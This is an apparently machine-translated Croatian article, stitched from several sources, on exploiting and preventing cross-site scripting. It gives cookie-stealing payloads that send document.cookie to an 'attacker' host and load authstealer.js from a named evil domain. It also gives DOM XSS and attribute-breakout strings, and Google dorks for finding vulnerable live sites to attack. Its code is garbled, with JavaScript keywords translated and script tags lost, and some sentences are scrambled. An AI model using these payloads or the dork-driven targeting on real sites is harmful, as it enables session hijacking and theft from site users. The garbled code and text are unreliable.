ostalo 

Maksimalno iskorištavanje XSS ranjivosti. Što je XSS ranjivost?

Cross-site scripting (XSS) je ranjivost koja uključuje ubacivanje koda na strani klijenta (JavaScript) u web stranicu koju drugi korisnici gledaju.

Ranjivost je posljedica nedovoljnog filtriranja podataka koje korisnik šalje za umetanje na web stranicu. Puno je lakše razumjeti na konkretnom primjeru. Zapamtite bilo koju knjigu gostiju - to su programi koji su dizajnirani za prihvaćanje podataka od korisnika i zatim ih prikazuju. Zamislimo da knjiga gostiju ni na koji način ne provjerava niti filtrira unesene podatke, već ih jednostavno prikazuje.

Možete skicirati svoju najjednostavniju skriptu (nema ništa lakše od pisanja loših skripti u PHP-u - mnogi ljudi to rade). Ali već postoji mnogo gotovih opcija. Na primjer, predlažem da počnete s Dojom i OWASP Mutillidae II. Tamo postoji sličan primjer. U samostalnom Dojo okruženju idite na ovu vezu u svom pregledniku: http://localhost/mutillidae/index.php?page=add-to-your-blog.php

Ako je jedan od korisnika unio:

Web stranica će tada prikazati:

Zdravo! Sviđa mi se vaša stranica.

A ako korisnik unese ovo:

Zdravo! Sviđa mi se tvoj site.alert("Pwned")

Tada će se prikazati ovako:

Preglednici pohranjuju mnoge kolačiće za veliki broj stranica. Svaka stranica može primati samo kolačiće koje je sama spremila. Na primjer, example.com je spremio neke kolačiće u vaš preglednik. Ako posjetite another.com, ova stranica (skripte klijenta i poslužitelja) ne može pristupiti kolačićima koje je example.com pohranio.

Ako je example.com ranjiv na XSS, to znači da možemo nekako ubaciti JavaScript kod u njega, a taj će se kôd izvršiti u ime example.com! Oni. Ovaj kod će, na primjer, pristupiti kolačićima example.com.

Mislim da se svi sjećaju da se JavaScript izvršava u korisničkim preglednicima, tj. u prisutnosti XSS-a, ugrađeni zlonamjerni kod dobiva pristup podacima korisnika koji je otvorio web stranicu.

Ugrađeni kod može učiniti sve što i JavaScript, naime:

  • dobiva pristup kolačićima web stranice koju gledate
  • može izvršiti bilo kakve promjene u izgledu stranice
  • pristupa međuspremniku
  • može implementirati JavaScript programe, na primjer, keyloggere (presretače tipki)
  • pokupiti na BeEF-u
  • i tako dalje.

Najjednostavniji primjer s kolačićima:

upozorenje(dokument.kolačić)

Zapravo, upozorenje se koristi samo za otkrivanje XSS-a. Pravi zlonamjerni teret izvodi skrivene radnje. Potajno kontaktira napadačev udaljeni poslužitelj i na njega prenosi ukradene podatke.

Vrste XSS-a

Najvažnija stvar koju treba razumjeti o vrstama XSS-a je da su:

  • Pohranjeno (Trajno)
  • Reflektirano (netrajno)

Primjer konstanti:

  • Posebno kreirana poruka koju napadač upisuje u knjigu gostiju (komentar, poruka na forumu, profil), a koja je spremljena na poslužitelju, preuzima se s poslužitelja svaki put kada korisnik zatraži prikaz ove stranice.
  • Napadač je dobio pristup podacima poslužitelja, na primjer, putem SQL injekcije i uveo zlonamjerni JavaScript kod (s kilologgerima ili BeEF-om) u podatke dane korisniku.

Primjer nestalnih:

  • Postoji pretraga na stranici koja, uz rezultate pretrage, prikazuje nešto poput "Tražili ste: [niz za pretraživanje]", a podaci nisu ispravno filtrirani. Budući da se takva stranica prikazuje samo osobi koja ima poveznicu na nju, napad neće funkcionirati sve dok napadač ne pošalje poveznicu drugim korisnicima stranice. Umjesto slanja poveznice žrtvi, možete upotrijebiti postavljanje zlonamjerne skripte na neutralnu stranicu koju žrtva posjećuje.

Oni također razlikuju (neki kao vrstu nepostojanih XSS ranjivosti, neki kažu da ova vrsta također može biti vrsta postojanih XSS):

  • DOM modeli
Značajke XSS-a temeljenog na DOM-u

Vrlo jednostavno rečeno, možemo vidjeti zlonamjerni kod “običnog” nepostojanog XSS-a ako otvorimo HTML kod. Na primjer, veza je oblikovana ovako:

Http://example.com/search.php?q="/>upozorenje(1)

I kada otvorimo izvorni HTML kod, vidimo nešto poput ovoga:

upozorenje(1)" /> Pronađi

A DOM XSS mijenja DOM strukturu, koja se formira u pregledniku u hodu, a maliciozni kod možemo vidjeti samo kada gledamo generiranu DOM strukturu. HTML se ne mijenja. Uzmimo ovaj kod kao primjer:

site:::DOM XSS Dogodila se pogreška... function OnLoad() ( var foundFrag = get_fragment(); return foundFrag; ) function get_fragment() ( var r4c = "(.*?)"; var results = location.hash .match(".*input=token(" + r4c + ");"); if (rezultati) (document.getElementById("default").innerHTML = ""; return (unescape(results)); ) else ( return null;) display_session = OnLoad(); document.write("Vaš ID sesije bio je: " + display_session + "

")

Tada ćemo u pregledniku vidjeti:

Izvorni kod stranice:

Formirajmo adresu ovako:

Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1);

Sada stranica izgleda ovako:

Ali pogledajmo izvorni HTML kod:

Tu se baš ništa nije promijenilo. Ovo je ono o čemu sam govorio, moramo pogledati DOM strukturu dokumenta kako bismo identificirali zlonamjerni kod:

Ovdje je radni XSS prototip, za pravi napad potreban nam je složeniji korisni teret, što nije moguće zbog činjenice da aplikacija prestaje čitati odmah nakon točke sa zarezom, a nešto poput alert(1);alert(2) nije duže moguće. Međutim, zahvaljujući unescape() možemo koristiti sadržaj poput ovog u povratnim podacima:

Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1)%3balert(2);

Gdje smo zamijenili simbol ; URI-kodiranom ekvivalentu!

Sada možemo napisati zlonamjerni JavaScript korisni teret i sastaviti vezu za slanje žrtvi, kao što je to učinjeno za standardno nepostojano skriptiranje na više stranica.

XSS revizor

U Google Chromeu (a također i u Operi, koja sada koristi Google Chrome engine), čekalo me ovo iznenađenje:

dom_xss.html:30 XSS revizor odbio je izvršiti skriptu u "http://localhost/tests/XSS/dom_xss.html#input=token‹script›alert(1);" jer je njegov izvorni kod pronađen unutar zahtjeva. Revizor je bio omogućen jer poslužitelj nije poslao zaglavlje "X-XSS-Protection" niti "Content-Security-Policy".

Oni. preglednik sada ima XSS revizora koji će pokušati spriječiti XSS. Firefox još nema ovu funkciju, ali mislim da je to pitanje vremena. Ako je implementacija u preglednike uspješna, tada možemo govoriti o značajnim poteškoćama u korištenju XSS-a.

Dobro je zapamtiti da moderni preglednici poduzimaju korake kako bi ograničili razinu eksploatacijskih problema kao što su nepostojani XSS i XSS temeljen na DOM-u. Ovo je također nešto što treba zapamtiti kada testirate web stranice pomoću preglednika - može se ispostaviti da je web aplikacija ranjiva, ali ne vidite skočnu potvrdu samo zato što je preglednik blokira.

Primjeri korištenja XSS-a

Napadači koji namjeravaju iskoristiti ranjivosti skriptiranja na različitim mjestima moraju svakoj klasi ranjivosti pristupiti drugačije. Ovdje su opisani vektori napada za svaku klasu.

Za XSS ranjivosti, napadi mogu koristiti BeEF, koji proširuje napad s web stranice na lokalno okruženje korisnika.

Primjer nepostojanog XSS napada

1. Alice često posjećuje određenu web stranicu koju hostira Bob. Bobova web stranica omogućuje Alice da se prijavi s korisničkim imenom/lozinkom i pohrani osjetljive podatke kao što su podaci o plaćanju. Kada se korisnik prijavi, preglednik pohranjuje autorizacijske kolačiće, koji izgledaju kao besmisleni znakovi, tj. oba računala (klijent i poslužitelj) pamte da je ušla.

2. Mallory primjećuje da Bobova web stranica sadrži nepostojanu XSS ranjivost:

2.1 Kada posjetite stranicu za pretraživanje, unesite niz za pretraživanje i kliknite na gumb za slanje, ako nema rezultata, stranica prikazuje uneseni niz za pretraživanje iza kojeg slijede riječi "nije pronađeno", a url izgleda kao http://bobssite .org?q= njezin upit za pretraživanje

2.2 S uobičajenim upitom za pretraživanje kao što je riječ "psi", stranica jednostavno prikazuje "nisu pronađeni psi" i url http://bobssite.org?q=psi, što je sasvim normalno ponašanje.

2.3 Međutim, kada se pojavi nepravilan upit za pretraživanje kao što je alert("xss"); :

2.3.1 Pojavljuje se poruka upozorenja (koja kaže "xss").

2.3.2 Stranica prikazuje upozorenje("xss"); nije pronađen zajedno s porukom o pogrešci s tekstom "xss".

2.3.3 url pogodan za iskorištavanje http://bobssite.org?q=alert("xss");

3. Mallory konstruira URL za iskorištavanje ranjivosti:

3.1 Ona pravi URL http://bobssite.org?q=puppies. Može odlučiti pretvoriti ASCII znakove u heksadecimalni format kao što je http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E redom kako biste spriječili ljude da odmah dešifriraju zlonamjerni URL.

3.2 Šalje e-poruke nekim članovima Bobove stranice koji ništa ne sumnjaju govoreći: "Pogledajte cool pse."

4. Alisa prima pismo. Ona voli pse i klikne na link. Ode na Bobovu stranicu u pretrazi, ne nađe ništa, tamo se prikaže “no dog found” i u samoj sredini se pokrene oznaka sa skriptom (nevidljiva je na ekranu), preuzima i izvršava Maloryjevu authstealer.js program (pokreće XSS napad). Alice zaboravi na to.

5. Authstealer.js program radi u Aliceinom pregledniku kao da potječe s Bobove web stranice. Ona zgrabi kopiju Aliceinih autorizacijskih kolačića i pošalje ih Malorynom poslužitelju, gdje ih Malory dohvaća.

7. Sada kada je Malorie unutra, odlazi na odjeljak za plaćanje na web stranici, gleda i krade kopiju Aliceina broja kreditne kartice. Onda ona ode i promijeni lozinku, tj. Sada Alice više ne može ni ući.

8. Odlučuje se na sljedeći korak i šalje tako konstruiranu poveznicu samom Bobu i tako dobiva administrativne privilegije za Bobovu stranicu.

Stalni XSS napad

  • Mallory ima račun na Bobovoj web stranici.
  • Mallory primjećuje da Bobova web stranica sadrži stalnu XSS ranjivost. Ako odete u novi odjeljak i objavite komentar, on će prikazati sve što je u njega upisano. Ali ako tekst komentara sadrži HTML oznake, te će oznake biti prikazane kakve jesu, a sve oznake skripte bit će izvršene.
  • Mallory čita članak u odjeljku Vijesti i piše komentar u odjeljku Komentari. U komentar ubacuje tekst:
  • Jako su mi se svidjeli psi u ovoj priči. Baš su fini!
  • Kada Alice (ili bilo tko drugi) učita stranicu s ovim komentarom, Maloryna oznaka skripte se pokreće i krade Alicein autorizacijski kolačić, šaljući ga Malorynom tajnom poslužitelju na prikupljanje.
  • Mallory sada može oteti Aliceinu sesiju i glumiti Alice.
    • Pronalaženje stranica ranjivih na XSS

    Glupani za XSS

    Prvi korak je odabir stranica na koje ćemo izvoditi XSS napade. Stranice se mogu pretraživati ​​pomoću Google dorksa. Evo nekoliko ovih kretena koje možete kopirati i zalijepiti u Google pretraživanje:

    • inurl:search.php?q=
    • inurl:.php?q=
    • inurl:search.php
    • inurl:.php?search=

    Pred nama će se otvoriti popis stranica. Morate otvoriti stranicu i na njoj pronaći polja za unos, kao što su obrazac za povratne informacije, obrazac za unos, pretraživanje stranice itd.

    Odmah ću napomenuti da je gotovo beskorisno tražiti ranjivosti u popularnim automatski ažuriranim web aplikacijama. Klasičan primjer takve aplikacije je WordPress. Zapravo, postoje ranjivosti u WordPressu, a posebno u njegovim dodacima. Štoviše, postoje mnoge web stranice koje ne ažuriraju niti WordPress mehanizam (zbog činjenice da je webmaster napravio neke promjene u izvornom kodu) niti svoje dodatke i teme (u pravilu su to piratski dodaci i teme). Ali ako čitate ovaj odjeljak i iz njega naučite nešto novo, onda WordPress još nije za vas... Sigurno ćemo mu se vratiti kasnije.

    Najbolji ciljevi su različiti motori i skripte koje sami pišete.

    Možete odabrati umetnuti korisni teret kao

    upozorenje (1)

    Obratite pozornost u koje oznake HTML koda spada vaš ugrađeni kod. Evo primjera tipičnog polja za unos:

    upozorenje (1)

    Naš će teret završiti tamo gdje je sada riječ "jastučnica". Oni. pretvoriti u vrijednost ulazne oznake. To možemo izbjeći - zatvorimo dvostruki navodnik, a zatim i sam tag s "/>".

    "/>upozorenje(1)

    Probajmo za neku stranicu:

    Super, postoji ranjivost

    Programi za traženje i skeniranje XSS ranjivosti

    Vjerojatno svi skeneri web aplikacija imaju ugrađeni skener XSS ranjivosti. Ova tema nije sveobuhvatna, bolje je upoznati se sa svakim sličnim skenerom zasebno.

    Cross-site skriptiranje korištenjem java skripte najpopularnija je vrsta napada. U ovom materijalu ćemo vam reći o problemima koji mogu nastati korištenjem java skripte i kako se zaštititi od XSS napada.

    Što je XSS napad?

    XSS je vrsta napada na korisnike internetskih resursa, čija je svrha krađa autentifikacijskih podataka administratora stranice kako bi se dobio pristup administrativnom dijelu i drugim korisnicima koji imaju mogućnost osobnog pristupa zatvorenim dijelovima resursa. .

    Ovi se napadi mogu izvesti ne samo za hakiranje web mjesta, već i za krađu:

    • Vjerodajnice za pristup resursima trećih strana;
    • Brojevi bankovnih kartica;
    • Podaci za pristup elektroničkim novčanicima;
    • Kontakt podaci;
    • Ostali povjerljivi podaci korisnika.
    XSS vektori napada

    Ova vrsta napada ima dva pravca:

    Aktivno – vrsta napada kada napadač pokušava pronaći ranjivosti u filtru internetskih izvora. Koristeći određenu kombinaciju znakova i oznaka, haker kreira zahtjev koji resurs razumije i izvršava naredbu. Nakon pronalaženja ranjivosti u sigurnosnom sustavu, u zahtjev se ubacuje zlonamjerni kod koji će, na primjer, poslati sve kolačiće na mjesto pogodno za hakera.

    Pasivno – podrazumijeva intervenciju subjekta napada. Ideja je natjerati korisnika da slijedi zlonamjernu vezu kako bi implementirao zlonamjerni kod. Ove napade je teško izvesti jer od napadača zahtijevaju izvrsno tehničko znanje i dobro poznavanje psihologije.

    Sigurnosne mjere

    Kako biste izbjegli da postanete žrtva XSS napada, trebali biste se pridržavati sljedećih sigurnosnih pravila:

  • Glavno pravilo za programere je korištenje bilo kojeg filtra.
  • Filtrirajte sve ugniježđene strukture.
  • Enkripcija. Prilikom izrade filtra svakako uzmite u obzir rizik od napada kodiranjem. Postoji mnogo programa za kodiranje koji se mogu koristiti za šifriranje bilo kojeg napada tako da ga niti jedan filter ne "vidi". Stoga primijenite dešifriranje u filtru prije izvršenja koda zahtjeva.
  • Primjena oznaka. Postoji jedna ranjivost povezana s oznakama url, bb, img, koje imaju mnogo parametara, uključujući lowsrc i dynsrc, koji sadrže javacsript. Ove oznake treba filtrirati. Ako ne koristite slike na svom resursu, potpuno ih onemogućite.
  • Filtar koji se koristi mora uzeti u obzir različite moguće kombinacije znakova. Što ih je više, to bolje.
    • Zaključak

    Prema statistikama, 84% internetskih izvora dobro je zaštićeno od XSS napada. Ostalih 16% ne može im se učinkovito oduprijeti. Uklanjanje ove velike mane zahtijeva od vlasnika stranica dodatna ulaganja u sigurnost, na što većina njih nije spremna. Međutim, pooštravanje zakonodavstva u vezi s oštećenjem, curenjem i otkrivanjem osobnih podataka sve više tjera beskrupulozne vlasnike da poboljšaju sigurnost svojih stranica.

    I to je opsežan vodič o skriptiranju na više stranica.

    Prvi dio: Pregled Što je XSS?

    Skriptiranje između stranica ( Engleski Skriptiranje na različitim mjestima) je napad ubacivanjem koda koji napadaču omogućuje izvršavanje zlonamjernog JavaScripta u pregledniku drugog korisnika.

    Napadač ne napada izravno svoju žrtvu. Umjesto toga, iskorištava ranjivost na web stranici koju žrtva posjećuje i ubacuje zlonamjerni JavaScript kod. U pregledniku žrtve zlonamjerni JavaScript se pojavljuje kao legitimni dio web stranice, a sama web stranica djeluje kao izravni suučesnik napadaču.

    Ubacivanje zlonamjernog JavaScript koda

    Jedini način da napadač pokrene zlonamjerni JavaScript u žrtvinom pregledniku jest da ga ubaci u jednu od stranica koje žrtva učitava s web stranice. To je moguće ako web stranica dopušta korisnicima unos podataka na njezine stranice, a napadač može umetnuti niz koji će biti detektiran kao dio koda u pregledniku žrtve.

    Primjer u nastavku prikazuje jednostavnu skriptu na strani poslužitelja koja se koristi za prikaz najnovijeg komentara na web mjestu:

    ispis ""
    ispis "Posljednji komentar:"
    ispis baze podataka.latestComment
    ispis ""

    Skripta pretpostavlja da se komentar sastoji samo od teksta. Međutim, budući da je izravan korisnički unos omogućen, napadač bi mogao ostaviti ovaj komentar: "...". Svaki korisnik koji posjeti stranicu sada će dobiti sljedeći odgovor:


    Zadnji komentar:
    ...

    Kada korisnički preglednik učita stranicu, izvršit će sve, uključujući JavaScript kod koji se nalazi unutar . Napadač je uspješno izveo napad.

    Što je zlonamjerni JavaScript?

    Sposobnost izvršavanja JavaScripta u pregledniku žrtve možda se ne čini osobito zlonamjernom. JavaScript radi u vrlo ograničenom okruženju koje ima izuzetno ograničen pristup datotekama korisnika i operacijskog sustava. Zapravo, možete otvoriti JavaScript konzolu u svom pregledniku upravo sada i izvršiti bilo koji JavaScript koji želite, a vrlo je mala vjerojatnost da ćete moći uzrokovati bilo kakvu štetu svom računalu.

    Međutim, potencijal JavaScript koda da djeluje kao zlonamjerni kod postaje jasniji kada uzmete u obzir sljedeće činjenice:

    • JavaScript ima pristup nekim osjetljivim korisničkim informacijama, kao što su kolačići.
    • JavaScript može slati HTTP zahtjeve proizvoljnog sadržaja u bilo kojem smjeru koristeći XMLHttpRequest i druge mehanizme.
    • JavaScript može napraviti proizvoljne promjene u HTML kodu trenutne stranice koristeći tehnike manipulacije DOM-om.

    Ako se kombiniraju, ove činjenice mogu uzrokovati vrlo ozbiljne povrede sigurnosti, pojedinosti slijede.

    Posljedice zlonamjernog JavaScript koda

    Osim toga, mogućnost izvršavanja proizvoljnog JavaScripta u pregledniku drugog korisnika omogućuje napadaču izvođenje sljedećih vrsta napada:

    Krađa kolačića

    Napadač može pristupiti žrtvinim kolačićima povezanim s web-stranicom koristeći document.cookie, poslati ih vlastitom poslužitelju i upotrijebiti ih za izdvajanje osjetljivih informacija kao što su ID-ovi sesije.

    Keylogger

    Napadač bi mogao registrirati slušatelja događaja na tipkovnici koristeći addEventListener i zatim poslati sve korisničke pritiske na tipke svom poslužitelju, potencijalno bilježeći osjetljive informacije kao što su lozinke i brojevi kreditnih kartica.

    Krađa identiteta

    napadač bi mogao umetnuti lažni obrazac za prijavu na stranicu pomoću manipulacije DOM-om, postavljajući atribute radnje obrasca na vlastiti poslužitelj, a zatim prevariti korisnika da dobije osjetljive informacije.

    Iako se ovi napadi značajno razlikuju, svi imaju jednu značajnu sličnost: budući da napadač ubacuje kod na stranicu koju poslužuje web mjesto, zlonamjerni JavaScript se izvršava u kontekstu tog web mjesta. To znači da se s njom postupa kao s bilo kojom drugom skriptom s tog web-mjesta: ima pristup podacima žrtve za to web-mjesto (kao što su kolačići), a naziv hosta prikazan u URL traci bit će isti kao i naziv web-mjesta. Za sve svrhe, skripta se smatra legalnim dijelom web stranice, dopuštajući joj da radi sve što i sama web stranica može.

    Ova činjenica ističe ključno pitanje:

    Ako napadač može koristiti vašu web stranicu za izvršavanje proizvoljnog JavaScript koda u preglednicima drugih korisnika, sigurnost vaše web stranice i njenih korisnika je ugrožena.

    Kako bismo naglasili ovu točku, neki primjeri zlonamjernih skripti u ovom vodiču ostat će bez detalja, koristeći... Ovo sugerira da sama prisutnost skripte koju ubacuje napadač predstavlja problem, bez obzira na to koji se specifični kod skripte zapravo izvršava.

    Drugi dio: XSS napad Sudionici u XSS napadu

    Prije nego što detaljno opišemo kako funkcionira XSS napad, moramo definirati aktere uključene u XSS napad. Općenito, postoje tri strane u XSS napadu: web stranica, žrtva i napadač.

    • Web stranica pruža HTML stranice korisnicima koji ih zatraže. U našim primjerima nalazi se na http://website/.
      • Baza podataka web stranice je baza podataka koja pohranjuje neke podatke koje su korisnici unijeli na stranice web stranice.
    • Žrtva je običan korisnik web stranice koji traži stranice s nje koristeći svoj preglednik.
    • Napadač je napadač koji namjerava pokrenuti napad na žrtvu iskorištavanjem XSS ranjivosti na web stranici.
      • Poslužitelj napadača je web poslužitelj kojim napadač upravlja s jedinom svrhom krađe žrtvinih povjerljivih podataka. U našim primjerima nalazi se na http://attacker/.
    Primjer scenarija napada


    window.location="http://attacker/?cookie="+document.cookie

    Ova skripta će stvoriti HTTP zahtjev na drugi URL, koji će preusmjeriti korisnički preglednik na napadačev poslužitelj. URL uključuje kolačiće žrtve kao parametar zahtjeva, kada HTTP zahtjev dođe do napadačevog poslužitelja, napadač može izdvojiti te kolačiće iz zahtjeva. Nakon što napadač primi kolačiće, može ih upotrijebiti za oponašanje žrtve i pokretanje sljedećeg napada.

    Od sada će se gore prikazani HTML kod nazivati ​​zlonamjerni niz ili zlonamjerna skripta. Važno je razumjeti da je sam niz zlonamjeran samo ako se na kraju prikaže kao HTML u pregledniku žrtve, a to se može dogoditi samo ako postoji XSS ranjivost na web stranici.

    Kako funkcionira ovaj primjer napada

    Donji dijagram prikazuje primjer napada od strane napadača:

  • Napadač koristi jedan od obrazaca web stranice za umetanje zlonamjernog niza u bazu podataka web stranice.
  • Žrtva traži stranicu s web stranice.
  • Stranica uključuje zlonamjerni niz baze podataka u odgovoru i šalje ga žrtvi.
  • Žrtvin preglednik izvršava zlonamjernu skriptu unutar odgovora, šaljući žrtvin kolačić na napadačev poslužitelj.
    • XSS vrste

    Cilj XSS napada uvijek je izvršiti zlonamjernu JavaScript skriptu u pregledniku žrtve. Postoji nekoliko bitno različitih načina za postizanje tog cilja. XSS napadi se često dijele u tri vrste:

    • Pohranjeni (trajni) XSS, gdje zlonamjerni niz potječe iz baze podataka web stranice.
    • Reflektirani (nepostojani) XSS, gdje se zlonamjerni niz generira iz zahtjeva žrtve.
    • XSS DOM-ovi, gdje se ranjivost javlja u kodu na strani klijenta, a ne u kodu na strani poslužitelja.

    Prethodni primjer prikazuje pohranjeni XSS napad. Sada ćemo opisati dvije druge vrste XSS napada: reflektirani XSS i DOM XSS napadi.

    Odraženi XSS

    U reflektiranom XSS napadu, zlonamjerni niz dio je žrtvinog zahtjeva web stranici. Stranica prihvaća i umeće ovaj zlonamjerni niz u odgovor koji se šalje korisniku. Donji dijagram ilustrira ovaj scenarij:

  • Žrtva prevari napadača da web stranici pošalje URL zahtjev.
  • Stranica uključuje zlonamjerni niz iz URL zahtjeva u odgovoru žrtvi.
  • Žrtvin preglednik izvršava zlonamjernu skriptu sadržanu u odgovoru, šaljući žrtvine kolačiće na napadačev poslužitelj.

    • Kako uspješno izvesti reflektirani XSS napad?

    Odraženi XSS napad može se činiti bezopasnim jer zahtijeva od žrtve da pošalje zahtjev u svoje ime koji sadrži zlonamjerni niz. Budući da nitko ne bi sam sebe dobrovoljno napao, čini se da ne postoji način da se napad doista izvede.

    Kako se ispostavilo, postoje najmanje dva uobičajena načina da se žrtva natjera da pokrene reflektirani XSS napad protiv sebe:

    • Ako je korisnik određena osoba, napadač može poslati zlonamjerni URL žrtvi (na primjer, putem e-pošte ili instant messengera) i prevariti je da otvori poveznicu za posjet web stranici.
    • Ako je meta velika skupina korisnika, napadač bi mogao objaviti poveznicu na zlonamjerni URL (primjerice na vlastitoj web stranici ili društvenoj mreži) i čekati da posjetitelji kliknu na poveznicu.

    Obje ove metode su slične i obje mogu biti uspješnije korištenjem usluga skraćivanja URL-ova koje će maskirati zlonamjerni niz od korisnika koji bi ga mogli identificirati.

    XSS u DOM-u

    XSS u DOM-u je varijanta i pohranjenih i reflektiranih XSS napada. U ovom XSS napadu, žrtvin preglednik ne obrađuje zlonamjerni niz sve dok se ne izvrši stvarni JavaScript web stranice. Donji dijagram ilustrira ovaj scenarij za reflektirani XSS napad:

  • Napadač stvara URL koji sadrži zlonamjerni niz i šalje ga žrtvi.
  • Žrtva prevari napadača da web stranici pošalje URL zahtjev.
  • Stranica prihvaća zahtjev, ali ne uključuje zlonamjerni niz u odgovor.
  • Žrtvin preglednik izvršava legitimnu skriptu sadržanu u odgovoru, uzrokujući umetanje zlonamjerne skripte na stranicu.
  • Žrtvin preglednik izvršava zlonamjernu skriptu umetnutu na stranicu, šaljući žrtvine kolačiće na napadačev poslužitelj.
    • Koja je razlika između XSS-a u DOM-u?

    U prethodnim primjerima pohranjenih i reflektiranih XSS napada, poslužitelj ubacuje zlonamjernu skriptu na stranicu, koja se zatim prosljeđuje kao odgovor žrtvi. Kada žrtvin preglednik primi odgovor, pretpostavlja da je zlonamjerna skripta dio legitimnog sadržaja stranice i automatski je izvršava dok se stranica učitava, baš kao i bilo koju drugu skriptu.

    U primjeru XSS napada u DOM-u, zlonamjerna skripta nije umetnuta kao dio stranice; jedina skripta koja se automatski izvršava dok se stranica učitava je legitiman dio stranice. Problem je u tome što ova legitimna skripta izravno koristi korisnički unos za dodavanje HTML-a na stranicu. Budući da je zlonamjerni niz umetnut na stranicu pomoću innerHTML-a, on se analizira kao HTML, uzrokujući izvršenje zlonamjerne skripte.

    Ova razlika je mala, ali vrlo važna:

    • U tradicionalnom XSS-u, zlonamjerni JavaScript se izvršava kada se stranica učita, kao dio HTML-a koji šalje poslužitelj.
    • U slučaju XSS-a u DOM-u, zlonamjerni JavaScript se izvršava nakon što se stranica učita, uzrokujući da legitimna JavaScript stranica pristupa korisničkom unosu (koji sadrži zlonamjerni niz) na nesiguran način.
    Kako XSS radi u DOM-u?

    U prethodnom primjeru nema potrebe za JavaScriptom; poslužitelj može sam generirati sav HTML. Da kôd na strani poslužitelja ne sadrži ranjivosti, web stranica ne bi bila osjetljiva na XSS ranjivost.

    Međutim, kako web aplikacije postaju naprednije, sve se više HTML stranica generira pomoću JavaScripta na strani klijenta umjesto na poslužitelju. U bilo kojem trenutku sadržaj bi se trebao promijeniti bez osvježavanja cijele stranice, to je moguće pomoću JavaScripta. Konkretno, to je slučaj kada se stranica osvježi nakon AJAX zahtjeva.

    To znači da XSS ranjivosti mogu biti prisutne ne samo u kodu vaše stranice na strani poslužitelja, već i na JavaScript kodu vaše stranice na strani klijenta. Stoga, čak i s potpuno sigurnim kodom na strani poslužitelja, klijentski kod još uvijek možda neće sigurno uključiti korisnički unos prilikom ažuriranja DOM-a nakon učitavanja stranice. Ako se to dogodi, kod na strani klijenta omogućit će XSS napad bez greške koda na strani poslužitelja.

    XSS temeljen na DOM-u možda neće biti vidljiv poslužitelju

    Postoji poseban slučaj XSS napada u DOM-u u kojem se zlonamjerni niz nikada ne šalje poslužitelju web stranice: to se događa kada je zlonamjerni niz sadržan u identifikatorskom dijelu URL-a (sve nakon simbola #). Preglednici ne šalju ovaj dio URL-a poslužitelju, pa mu web-mjesto ne može pristupiti pomoću koda na strani poslužitelja. Kôd na strani klijenta, međutim, ima pristup tome, pa je moguće izvršiti XSS napad kroz nesigurnu obradu.

    Ovaj slučaj nije ograničen na ID fragmenta. Postoji i drugi korisnički unos koji je nevidljiv poslužitelju, poput novih HTML5 značajki kao što su LocalStorage i IndexedDB.

    treći dio:
    XSS prevencija Tehnike XSS prevencije

    Podsjetimo se da je XSS napad ubrizgavanjem koda: korisnički unos pogrešno se tumači kao zlonamjerni kod. Da biste spriječili ovu vrstu ubacivanja koda, potrebno je sigurno rukovanje unosom. Za web programera postoje dva bitno različita načina za izvođenje sigurne obrade unosa:

    • Kodiranje je metoda koja korisniku omogućuje unos podataka samo kao podataka i ne dopušta pregledniku da ih obradi kao kod.
    • Validacija je način filtriranja korisničkog unosa tako da ga preglednik tumači kao kod bez zlonamjernih naredbi.

    Iako su ovo bitno različite XSS metode ublažavanja, dijele nekoliko zajedničkih značajki koje je važno razumjeti kada koristite bilo koju od njih:

    Rukovanje sigurnim unosom konteksta mora se obavljati drugačije ovisno o tome gdje se na stranici koristi korisnički unos. ulazni/izlazni Sigurna obrada unosa može se izvršiti kada vaša stranica primi ulaz (ulazni promet) ili neposredno prije nego što stranica umetne korisnički unos u sadržaj stranice (izlazni). Klijent/poslužitelj Sigurna obrada unosa može se obaviti na strani klijenta ili poslužitelja, pri čemu je svaka opcija potrebna u različitim okolnostima.

    Prije nego što detaljno objasnimo kako funkcionira kodiranje i provjera valjanosti, opisat ćemo svaku od ovih točaka.

    Rukovanje korisničkim unosom u kontekstima

    Postoji mnogo konteksta na web stranici u koje se može primijeniti korisnički unos. Za svaki od njih moraju se poštovati posebna pravila kako bi se osiguralo da korisnički unos ne može pobjeći iz svog konteksta i ne može se protumačiti kao zlonamjerni kod. Sljedeći su najčešći konteksti:

    Zašto su konteksti važni?

    U svim opisanim kontekstima može doći do XSS ranjivosti ako je korisnički unos umetnut prije prvog kodiranja ili provjere valjanosti. Napadač može ubaciti zlonamjerni kod jednostavnim umetanjem završnog graničnika za ovaj kontekst nakon kojeg slijedi zlonamjerni kod.

    Na primjer, ako u nekom trenutku web-mjesto uključi korisnički unos izravno u HTML atribut, napadač bi mogao ubaciti zlonamjernu skriptu započinjanjem unosa citatom, kao što je prikazano u nastavku:

    To bi se moglo spriječiti jednostavnim uklanjanjem svih navodnika u korisničkom unosu i sve bi bilo u redu, ali samo u ovom kontekstu. Ako je unos umetnut u drugačiji kontekst, zatvarajući graničnik bit će drugačiji i umetanje će biti moguće. Iz tog razloga sigurno rukovanje unosom treba uvijek biti prilagođeno kontekstu u koji će korisnički unos biti umetnut.

    Rukovanje dolaznim/odlaznim korisničkim unosom

    Instinktivno bi se činilo da se XSS može spriječiti kodiranjem ili provjerom svih korisničkih unosa čim ih naša stranica primi. Na taj će način svi zlonamjerni nizovi već biti neutralizirani kad god su uključeni na stranicu, a skripte za generiranje HTML-a neće morati brinuti o sigurnom rukovanju korisničkim unosom.

    Problem je u tome što se, kao što je ranije opisano, korisnički unos može umetnuti u više konteksta na stranici. I ne postoji jednostavan način za određivanje kada korisnički unos dolazi u kontekst - kako će na kraju biti umetnut, a isti korisnički unos često treba umetnuti u različite kontekste. Oslanjajući se na obradu dolaznog unosa za sprječavanje XSS-a, stvaramo vrlo krhko rješenje koje će biti sklono pogreškama. (Naslijeđeni PHP "čarobni navodnici" primjer su takvog rješenja.)

    Umjesto toga, obrada odlaznog unosa trebala bi biti vaša primarna linija obrane od XSS-a jer može uzeti u obzir specifični kontekst onoga što će korisnički unos biti umetnut. U određenoj mjeri, ulazna provjera valjanosti može se koristiti za dodavanje sekundarnog sloja sigurnosti, ali više o tome kasnije.

    Gdje je moguće sigurno rukovati korisničkim unosom?

    U većini modernih web aplikacija korisnički unos se obrađuje i na strani poslužitelja i na strani klijenta. Za zaštitu od svih vrsta XSS-a, sigurno rukovanje unosom mora se obaviti u kodu na strani poslužitelja i na strani klijenta.

